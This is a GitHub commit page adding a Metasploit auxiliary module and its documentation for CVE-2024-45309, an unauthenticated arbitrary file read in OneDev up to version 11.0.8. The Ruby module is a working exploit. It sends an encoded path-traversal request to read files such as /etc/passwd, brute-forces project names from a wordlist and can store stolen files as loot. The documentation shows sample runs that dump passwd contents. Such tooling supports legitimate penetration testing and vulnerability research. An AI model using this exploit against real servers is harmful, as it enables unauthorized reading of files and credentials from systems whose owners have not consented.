Skip to content

Commit 817557c

Browse files
authored
Merge pull request rapid7#19614 from vultza/onedev-file-read
OneDev Unauthenticated Arbitrary File Read (CVE-2024-45309)
2 parents 98b5eab + 08c8492 commit 817557c

File tree

2 files changed

+281
-0
lines changed

2 files changed

+281
-0
lines changed
Lines changed: 135 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
## Vulnerable Application
2+
3+
OneDev is a Git Server with CI/CD, kanban, and packages.
4+
This module exploits an unauthenticated arbitrary file read vulnerability (CVE-2024-45309), which affects OneDev versions <= 11.0.8.
5+
This vulnerability arises due to the lack of user-input sanitization of path traversal sequences `..` in the `ProjectBlobPage.java` file.
6+
7+
To exploit this vulnerability, a valid OneDev project name is required. If anonymous access is enabled on the OneDev server, any visitor
8+
can view existing projects without authentication.
9+
However, when anonymous access is disabled, an attacker who lacks prior knowledge of existing project names can use a brute-force approach.
10+
By providing a user-supplied wordlist, the module may be able to guess a valid project name and subsequently exploit the vulnerability.
11+
12+
## Installation
13+
14+
OneDev provides docker images for a quick setup process.
15+
A vulnerable version (`v11.0.8`) can be found [here](https://hub.docker.com/r/1dev/server/tags?name=11.0.8).
16+
17+
Installation instructions can be found [here](https://docs.onedev.io/).
18+
19+
## Verification Steps
20+
21+
1. Install the OneDev application
22+
2. Start msfconsole
23+
3. Do: `use auxiliary/gather/onedev_arbitrary_file_read`
24+
4. Set the `RHOSTS` and `RPORT` options as necessary
25+
5. Set the `TARGETFILE` option with the absolute path of the target file to read
26+
27+
If a valid project name is known:
28+
29+
6. Set the `PROJECT_NAME` option with the known project name
30+
7. Do: `run`
31+
8. If the file exists, the contents will be displayed to the user
32+
33+
If there is no information about existing projects:
34+
35+
6. Set the `PROJECT_NAMES_FILE` option with the absolute path of a wordlist that contains multiple possible values for a valid project name
36+
7. Do: `run`
37+
8. If a valid project name is found, the target file contents will be displayed to the user
38+
39+
## Options
40+
41+
### PROJECT_NAME
42+
A valid OneDev project name is required to exploit the vulnerability. If anonymous access is enabled on the OneDev server,
43+
any visitor can see the existing projects, and collect a valid project name. On the other hand, if anonymous access is disabled,
44+
the user needs to have previous knowledge of a valid project name or use the `PROJECT_NAMES_FILE` option to find one through brute force.
45+
46+
### PROJECT_NAMES_FILE
47+
Absolute path of a wordlist containing multiple possible values for valid project names. Once this option is set,
48+
the module will verify whether a given project exists for each word.
49+
50+
51+
### TARGETFILE
52+
Absolute file path of the target file to be retrieved from the OneDev server. Set as `/etc/passwd` by default.
53+
54+
### STORE_LOOT
55+
If set as `true`, the target file contents will be stored as loot. Set as `false` by default.
56+
57+
58+
## Scenarios
59+
60+
### Example: Known project name or anonymous access enabled on OneDev 11.0.8
61+
62+
```
63+
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10
64+
RHOSTS => 192.168.1.10
65+
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610
66+
RPORT => 6610
67+
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAME myproject
68+
PROJECT_NAME => myproject
69+
msf6 auxiliary(gather/onedev_arbitrary_file_read) > run
70+
[*] Running module against 192.168.1.10
71+
72+
[+] Target file retrieved with success
73+
[*] root:x:0:0:root:/root:/bin/bash
74+
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
75+
bin:x:2:2:bin:/bin:/usr/sbin/nologin
76+
sys:x:3:3:sys:/dev:/usr/sbin/nologin
77+
sync:x:4:65534:sync:/bin:/bin/sync
78+
games:x:5:60:games:/usr/games:/usr/sbin/nologin
79+
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
80+
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
81+
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
82+
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
83+
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
84+
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
85+
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
86+
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
87+
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
88+
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
89+
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
90+
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
91+
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
92+
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
93+
94+
[*] Auxiliary module execution completed
95+
96+
```
97+
98+
### Example: Unknown projects with anonymous access disabled on OneDev 11.0.8
99+
```
100+
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10
101+
RHOSTS => 192.168.1.10
102+
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610
103+
RPORT => 6610
104+
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAMES_FILE /home/server/wordlist.txt
105+
PROJECT_NAMES_FILE => /home/server/wordlist.txt
106+
msf6 auxiliary(gather/onedev_arbitrary_file_read) > run
107+
[*] Running module against 192.168.1.10
108+
109+
[*] Brute forcing valid project name ...
110+
[+] 192.168.1.10:6610 - Found valid OneDev project name: myproject
111+
[+] Target file retrieved with success
112+
[*] root:x:0:0:root:/root:/bin/bash
113+
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
114+
bin:x:2:2:bin:/bin:/usr/sbin/nologin
115+
sys:x:3:3:sys:/dev:/usr/sbin/nologin
116+
sync:x:4:65534:sync:/bin:/bin/sync
117+
games:x:5:60:games:/usr/games:/usr/sbin/nologin
118+
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
119+
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
120+
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
121+
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
122+
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
123+
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
124+
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
125+
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
126+
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
127+
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
128+
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
129+
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
130+
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
131+
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
132+
133+
[*] Auxiliary module execution completed
134+
135+
```
Lines changed: 146 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpClient
8+
prepend Msf::Exploit::Remote::AutoCheck
9+
CheckCode = Exploit::CheckCode
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'OneDev Unauthenticated Arbitrary File Read',
16+
'Description' => %q{
17+
This module exploits an unauthenticated arbitrary file read vulnerability (CVE-2024-45309), which affects OneDev versions <= 11.0.8.
18+
To exploit this vulnerability, a valid OneDev project name is required. If anonymous access is enabled on the OneDev server, any visitor
19+
can view existing projects without authentication.
20+
However, when anonymous access is disabled, an attacker who lacks prior knowledge of existing project names can use a brute-force approach.
21+
By providing a user-supplied wordlist, the module may be able to guess a valid project name and subsequently exploit the vulnerability.
22+
},
23+
'Author' => [
24+
'vultza', # metasploit module
25+
'Siebene' # vuln discovery
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' => [
29+
['CVE', '2024-45309'],
30+
['URL', 'https://github.com/theonedev/onedev/security/advisories/GHSA-7wg5-6864-v489']
31+
],
32+
'DisclosureDate' => '2024-10-19',
33+
'Notes' => {
34+
'Stability' => [CRASH_SAFE],
35+
'Reliability' => [],
36+
'SideEffects' => [IOC_IN_LOGS]
37+
}
38+
)
39+
)
40+
register_options(
41+
[
42+
OptString.new('TARGETURI', [true, 'The relative URI of the OneDev instance', '/']),
43+
OptString.new('TARGETFILE', [true, 'The absolute file path to read', '/etc/passwd']),
44+
OptBool.new('STORE_LOOT', [true, 'Store the target file as loot', false]),
45+
OptString.new('PROJECT_NAME', [true, 'The target OneDev project name', '']),
46+
OptPath.new('PROJECT_NAMES_FILE', [
47+
false, 'File containing project names to try, one per line',
48+
File.join(Msf::Config.data_directory, 'wordlists', 'namelist.txt')
49+
])
50+
]
51+
)
52+
end
53+
54+
def check
55+
res = send_request_cgi({
56+
'method' => 'GET',
57+
'uri' => normalize_uri(target_uri.path)
58+
})
59+
60+
return CheckCode::Unknown('Request failed') unless res
61+
62+
unless ['OneDev', "var redirect = '/~login';"].any? { |f| res.body.include? f }
63+
return CheckCode::Unknown("The target isn't a OneDev instance.")
64+
end
65+
66+
version = res.body.scan(/OneDev ([\d.]+)/).first
67+
68+
if version.nil?
69+
if datastore['PROJECT_NAME']
70+
res = read_file(datastore['PROJECT_NAME'], '/etc/passwd')
71+
72+
if res.body.include? 'root:x:0:0:root:'
73+
return CheckCode::Vulnerable('OneDev instance is vulnerable.')
74+
else
75+
return CheckCode::Safe('OneDev instance is not vulnerable.')
76+
end
77+
end
78+
return CheckCode::Unknown('Unable to detect the OneDev version, as the instance does not have anonymous access enabled.')
79+
end
80+
81+
version = Rex::Version.new(version[0])
82+
83+
return CheckCode::Safe("OneDev #{version} is not vulnerable.") if version > Rex::Version.new('11.0.8')
84+
85+
CheckCode::Appears("OneDev #{version} is vulnerable.")
86+
end
87+
88+
def validate_project_exists(project)
89+
res = send_request_cgi({
90+
'method' => 'HEAD',
91+
'uri' => normalize_uri(target_uri.path, project, '~site')
92+
})
93+
94+
return res&.code == 200
95+
end
96+
97+
def find_project
98+
print_status 'Bruteforcing a valid project name…'
99+
100+
File.open(datastore['PROJECT_NAMES_FILE'], 'rb').each do |project|
101+
project = project.strip
102+
next unless validate_project_exists(project)
103+
104+
print_status("#{peer} - Found valid OneDev project name: #{project}")
105+
return project
106+
end
107+
nil
108+
end
109+
110+
def read_file(project_name, target_file)
111+
path_traversal = '~site////////%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e'
112+
payload_path = normalize_uri(target_uri.path, project_name)
113+
payload_path = "#{payload_path}/#{path_traversal}#{target_file}"
114+
115+
res = send_request_cgi({
116+
'method' => 'GET',
117+
'uri' => payload_path
118+
})
119+
return res
120+
end
121+
122+
def run
123+
project_name = datastore['PROJECT_NAME']
124+
125+
if project_name.strip.empty?
126+
project_name = find_project
127+
fail_with(Failure::NoTarget, 'No valid OneDev project was found.') unless project_name
128+
else
129+
fail_with(Failure::NoTarget, 'Provided project name is invalid.') unless validate_project_exists(project_name)
130+
end
131+
132+
res = read_file(project_name, datastore['TARGETFILE'])
133+
134+
fail_with(Failure::Unreachable, 'Request timed out.') unless res
135+
136+
fail_with(Failure::UnexpectedReply, "Target file #{datastore['TARGETFILE']} not found.") if res.body.include? 'Site file not found'
137+
138+
file_name = datastore['TARGETFILE']
139+
if datastore['STORE_LOOT']
140+
store_loot(File.basename(file_name), 'text/plain', datastore['RHOST'], res.body, file_name, 'File retrieved from OneDev server')
141+
print_good("#{file_name} file stored in loot.")
142+
else
143+
print_good("#{file_name} file retrieved with success.\n#{res.body}")
144+
end
145+
end
146+
end

0 commit comments

Comments
 (0)